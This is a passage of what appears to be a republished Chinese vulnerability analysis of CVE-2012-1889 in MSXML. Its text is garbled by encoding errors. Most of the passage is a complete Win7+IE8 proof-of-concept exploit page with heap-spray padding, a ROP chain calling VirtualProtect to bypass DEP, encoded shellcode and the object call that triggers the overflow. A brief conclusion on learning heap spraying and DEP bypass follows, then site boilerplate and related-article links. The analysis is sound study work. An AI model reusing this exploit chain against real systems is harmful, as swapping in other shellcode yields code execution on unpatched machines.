??????? srcImgPath = "\\\\15PB_Com" + srcImgPath;

??????? srcImgPath = srcImgPath.substr(0, 0x1000-10);

???? // 7.3 創(chuàng)建一個(gè)圖片元素,并將圖片源路徑設(shè)為srcImgPath,并返回當(dāng)前圖片文件名

??????? var emtPic = document.createElement("img");

??????? emtPic.src = srcImgPath;

??????? emtPic.nameProp;

???? // 7.4 定義對(duì)象obj15PB(觸發(fā)溢出)

??????? obj15PB.definition(0);

??? </script>

</body>

</html>

  1. Win7+IE8 POC

<html>

<head>

??? <title>By:15PB.Com</title>

</head>

<body>

??? <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

??? <script>

??????? // 1.生成Padding

??????? var cPadding = unescape("\u0C0C\u0C0C");

??????? while (cPadding.length < 0x1000)

??????????? cPadding += cPadding;

??????? cPadding = cPadding.substring(0, 0x5F6);

??????? // 2.制作Ret2Libc

??????? var cRet2Libc = unescape(

???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u3ca5\u6d43" + // 0x6d433ca5 : # POP EBP # RETN [msvcrt.dll]

???????????? "\u7cb3\u6d73" + // 0x6d737cb3 : # XCHG EAX, ESP # RETN [msvcrt.dll]

???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u1029\u6d43" + // 0x6d431029 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u1029\u6d43" + // 0x6d431029: # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry

???????????? "\u2341\u7700" + // 0x77002341 : # Return to VirtualProtect

???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)

???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress????? = Payload Addr

???????????? "\u1000\u0000" + // 0x00001000 : # dwSize???????? = 0x00001000

???????????? "\u0040\u0000" + // 0x00000040 : # flNewProtect?? = 0x00000040

???????????? "\u1ffc\u6d75" );// 0x6d751ffc : # lpflOldProtect = 0x6d751ffc

??????? // 3.準(zhǔn)備好Payload(unescape()是解碼函數(shù))

??????? var cPayload = unescape(

??????? "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +

??????? "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +

??????? "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +

??????? "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +

??????? "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +

??????? "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +

??????? "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +

??????? "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +

??????? "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +

??????? "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +

??????? "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +

??????? "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +

??????? "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +

??????? "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +

??????? "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +

??????? "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +

??????? "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +

??????? "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +

??????? "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +

??????? "\uC25D\u0010\u0000");

??????? // 4.準(zhǔn)備好FillData

???? //4.1計(jì)算填充滑板指令數(shù)據(jù)的大?。ǘ汲?是因?yàn)閘ength返回的是Unicode的字符個(gè)數(shù))

??????? var nSlideSize = 0x1000;?????????? // 一個(gè)滑板指令塊的大?。?KB)

??????? var nPadSize?? = cPadding.length;? // Padding大小

??????? var nR2LSize?? = cRet2Libc.length; // Ret2Libc大小

??????? var nPySize??? = cPayload.length;? // Shellcode大小

??????? var nFillSize? = nSlideSize-nPadSize-nR2LSize-nPySize;

??????? //4.2制作好一塊填充數(shù)據(jù)

??????? var cFillData? = unescape("\u0C0C\u0C0C");

??????? while (cFillData.length < nSlideSize)

??????????? cFillData += cFillData;

??????? cFillData = cFillData.substring(0, nFillSize);

??????? //5.構(gòu)建滑板指令數(shù)據(jù)塊

??????? var nBlockSize = 0x40000;? // 256KB

??????? var cBlock???? = cPadding + cRet2Libc + cPayload + cFillData;

??????? while (cBlock.length < nBlockSize)

??????????? cBlock += cBlock;

??????? cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809

???? //6.填充200MB的內(nèi)存區(qū)域(申請(qǐng)800塊256KB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C

??? //區(qū)域,每塊滑板數(shù)據(jù)均由 滑板數(shù)據(jù)+Shellcode 組成,這樣只要任意一塊滑板數(shù)據(jù)

??? //正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會(huì)將執(zhí)行流程引到滑板數(shù)據(jù)區(qū)

??? //后面的Shellcode處,進(jìn)而執(zhí)行Shellcode。

??????? var cSlideData = new Array();

??????? for (var i = 0; i < 800; i++)

??????????? cSlideData[i] = cBlock.substr(0, cBlock.length);

??? //7.觸發(fā)CVE 2012-1889漏洞

??? //7.1獲取名為15PB的XML對(duì)象,并將其保存到名為obj15PB實(shí)例中

??????? var obj15PB = document.getElementById('15PB').object;

??? //7.2構(gòu)建一個(gè)長度為0x1000-10=8182,起始內(nèi)容為“\\15PB_Com”字節(jié)的數(shù)據(jù)

??????? var srcImgPath = unescape("\u0C0C\u0C08");

??????? while (srcImgPath.length < 0x1000)

??????????? srcImgPath += srcImgPath;

??????? srcImgPath = "\\\\15PB_Com" + srcImgPath;

??????? srcImgPath = srcImgPath.substr(0, 0x1000-10);

??? //7.3創(chuàng)建一個(gè)圖片元素,并將圖片源路徑設(shè)為srcImgPath,并返回當(dāng)前圖片文件名

??????? var emtPic = document.createElement("img");

??????? emtPic.src = srcImgPath;

??????? emtPic.nameProp;

??? //7.4定義對(duì)象obj15PB(觸發(fā)溢出)

??????? obj15PB.definition(0);

??? </script>

</body>

</html>

結(jié)語

WinXP+IE6環(huán)境下,該漏洞利用比較容易;WinXP+IE8環(huán)境開啟了DEP,利用起來比較難,需要我們精心構(gòu)造執(zhí)行鏈;Win7+IE8開啟了ASLR機(jī)制,大致流程和WinXP類似。通過本次對(duì)暴雷漏洞的分析,學(xué)習(xí)了解了堆噴射、精準(zhǔn)堆噴射、return to libc等技術(shù)。了解了繞過DEP的一些思路,熟悉了WinDBG一些命令的使用。對(duì)漏洞利用有了更深的認(rèn)識(shí),還需要繼續(xù)學(xué)習(xí)。文章來源地址http://www.zghlxwxcb.cn/news/detail-448936.html

到了這里,關(guān)于暴雷(CVE-2012-1889)漏洞分析報(bào)告的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 五款數(shù)字孿生軟件大比拼:優(yōu)缺點(diǎn)分析測評(píng)報(bào)告

    數(shù)字孿生 (Digital Twin)作為當(dāng)前最為火熱的技術(shù)之一,已經(jīng)被廣泛應(yīng)用于各種領(lǐng)域,包括航空、交通、能源、醫(yī)療、智能制造等行業(yè)。在數(shù)字孿生的實(shí)現(xiàn)中,數(shù)字孿生軟件起到了重要的作用,因此市面上出現(xiàn)了很多數(shù)字孿生軟件。本文將介紹國內(nèi)的5款數(shù)字孿生軟件,并從使

    2024年02月11日
    瀏覽(23)
  • [系統(tǒng)安全] 四十九.惡意軟件分析 (5)Cape沙箱分析結(jié)果Report報(bào)告的API序列批量提取詳解

    [系統(tǒng)安全] 四十九.惡意軟件分析 (5)Cape沙箱分析結(jié)果Report報(bào)告的API序列批量提取詳解

    終于忙完初稿,開心地寫一篇博客。 您可能之前看到過我寫的類似文章,為什么還要重復(fù)撰寫呢?只是想更好地幫助初學(xué)者了解病毒逆向分析和系統(tǒng)安全,更加成體系且不破壞之前的系列。因此,我重新開設(shè)了這個(gè)專欄,準(zhǔn)備系統(tǒng)整理和深入學(xué)習(xí)系統(tǒng)安全、逆向分析和惡意代

    2024年02月07日
    瀏覽(33)
  • 《軟件工程》課程四個(gè)實(shí)驗(yàn)的實(shí)驗(yàn)報(bào)告(《可行性研究與項(xiàng)目計(jì)劃》《需求分析》《系統(tǒng)設(shè)計(jì)》《系統(tǒng)實(shí)現(xiàn)》)

    《軟件工程》課程四個(gè)實(shí)驗(yàn)的實(shí)驗(yàn)報(bào)告(《可行性研究與項(xiàng)目計(jì)劃》《需求分析》《系統(tǒng)設(shè)計(jì)》《系統(tǒng)實(shí)現(xiàn)》)

    實(shí)驗(yàn)學(xué)時(shí): ??? 2 ??? ???實(shí)驗(yàn)地點(diǎn): ?????? 任意 ???????? ?實(shí)驗(yàn)日期: ?? 12月15日 ???????? 了解:軟件項(xiàng)目可行性研究及項(xiàng)目計(jì)劃的基本原理與方法; 掌握:Visio等工具進(jìn)行可行性研究和制定項(xiàng)目計(jì)劃。 圖書管管理系統(tǒng)更便于對(duì)圖書進(jìn)行分類和管理,對(duì)借閱

    2024年02月03日
    瀏覽(31)
  • [網(wǎng)絡(luò)安全提高篇] 一二一.惡意軟件動(dòng)態(tài)分析Cape沙箱Report報(bào)告的API序列批量提取詳解

    [網(wǎng)絡(luò)安全提高篇] 一二一.惡意軟件動(dòng)態(tài)分析Cape沙箱Report報(bào)告的API序列批量提取詳解

    終于忙完初稿,開心地寫一篇博客。 “網(wǎng)絡(luò)安全提高班”新的100篇文章即將開啟,包括Web滲透、內(nèi)網(wǎng)滲透、靶場搭建、CVE復(fù)現(xiàn)、攻擊溯源、實(shí)戰(zhàn)及CTF總結(jié),它將更加聚焦,更加深入,也是作者的慢慢成長史。換專業(yè)確實(shí)挺難的,Web滲透也是塊硬骨頭,但我也試試,看看自己未

    2024年02月13日
    瀏覽(24)
  • 2023愛分析·AIGC廠商全景報(bào)告|愛分析報(bào)告

    2023愛分析·AIGC廠商全景報(bào)告|愛分析報(bào)告

    通用大模型市場當(dāng)前雖入局者眾多,但終局將高度集中,未來將由5-6家廠商主導(dǎo);應(yīng)用層廠商及甲方企業(yè)應(yīng)著眼終局,從大算力、巨量數(shù)據(jù)集、端到端AI工程化能力以及應(yīng)用生態(tài)伙伴等維度綜合考慮,慎重選擇合作伙伴。 中大型企業(yè)雖傾向于大模型的私有化部署,但由于中美

    2024年02月16日
    瀏覽(25)
  • 2023愛分析 · 元宇宙廠商全景報(bào)告 | 愛分析報(bào)告

    2023愛分析 · 元宇宙廠商全景報(bào)告 | 愛分析報(bào)告

    ? 報(bào)告編委 黃勇 愛分析合伙人首席分析師 文鴻偉 愛分析高級(jí)分析師 ? 目錄 1.?研究范圍定義 2. 市場洞察 3. 廠商全景地圖 4. 市場分析與廠商評(píng)估 5. 入選廠商列表 1.??? 研究范圍定義 研究范圍 2021年3月,十四五規(guī)劃中首次提及元宇宙,指出需要加強(qiáng)元宇宙底層核心技術(shù)基礎(chǔ)

    2024年02月15日
    瀏覽(26)
  • 2023愛分析·低代碼廠商全景報(bào)告|愛分析報(bào)告

    關(guān)鍵發(fā)現(xiàn) 低代碼開始向甲方核心場景滲透,呈現(xiàn)兩個(gè)顯著特征:“更深入”、“更垂直”。更深入,即甲方愈發(fā)注重低代碼在復(fù)雜業(yè)務(wù)場景的應(yīng)用開發(fā)能力;更垂直,即甲方需要使用低代碼開發(fā)行業(yè)垂直應(yīng)用,因此對(duì)行業(yè)或場景組件產(chǎn)生需求。 2023年中國低代碼市場規(guī)模為

    2024年02月14日
    瀏覽(29)
  • 2023愛分析·超自動(dòng)化廠商全景報(bào)告|愛分析報(bào)告

    關(guān)鍵發(fā)現(xiàn) 當(dāng)前的超自動(dòng)化定義主要從技術(shù)組合角度闡述超自動(dòng)化內(nèi)涵,較難和業(yè)務(wù)價(jià)值建立鏈接。愛分析對(duì)超自動(dòng)化作如下新定義:超自動(dòng)化指利用RPA、iPaaS、AI、低代碼、BPM、流程挖掘等自動(dòng)化技術(shù),實(shí)現(xiàn)組織端到端流程自動(dòng)化以及新業(yè)務(wù)流程快速編排,幫助組織提升效率

    2024年02月14日
    瀏覽(26)
  • 故障分析報(bào)告

    故障分析報(bào)告應(yīng)包括以下內(nèi)容: 故障現(xiàn)象描述:詳細(xì)描述數(shù)據(jù)庫無法訪問的具體表現(xiàn),包括錯(cuò)誤提示、訪問延遲等。 故障發(fā)生時(shí)間:記錄故障發(fā)生的具體時(shí)間,以便與其他事件進(jìn)行比較,找出可能的關(guān)聯(lián)因素。 影響范圍:描述故障對(duì)系統(tǒng)運(yùn)行的影響范圍,包括用戶數(shù)量、業(yè)

    2024年02月01日
    瀏覽(22)
  • Win7 Server 漏洞修復(fù)(CVE-2017-**、CVE-2018-**、CVE-2019-**、CVE-2012-**)

    Win7 Server 漏洞修復(fù)(CVE-2017-**、CVE-2018-**、CVE-2019-**、CVE-2012-**)

    Windows 7 Server 服務(wù)器也被漏洞掃描找出來幾個(gè)漏洞,如下: 端口 協(xié)議 服務(wù) 漏洞 解決方案 445 TCP microsoft-ds Microsoft Windows SMB 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2017-0143)(MS17-010)【原理掃描】``Microsoft Windows SMB 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2017-0144)(MS17-010)【原理掃描】``Microsoft Windows SMB 遠(yuǎn)程代碼執(zhí)行

    2024年02月05日
    瀏覽(26)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包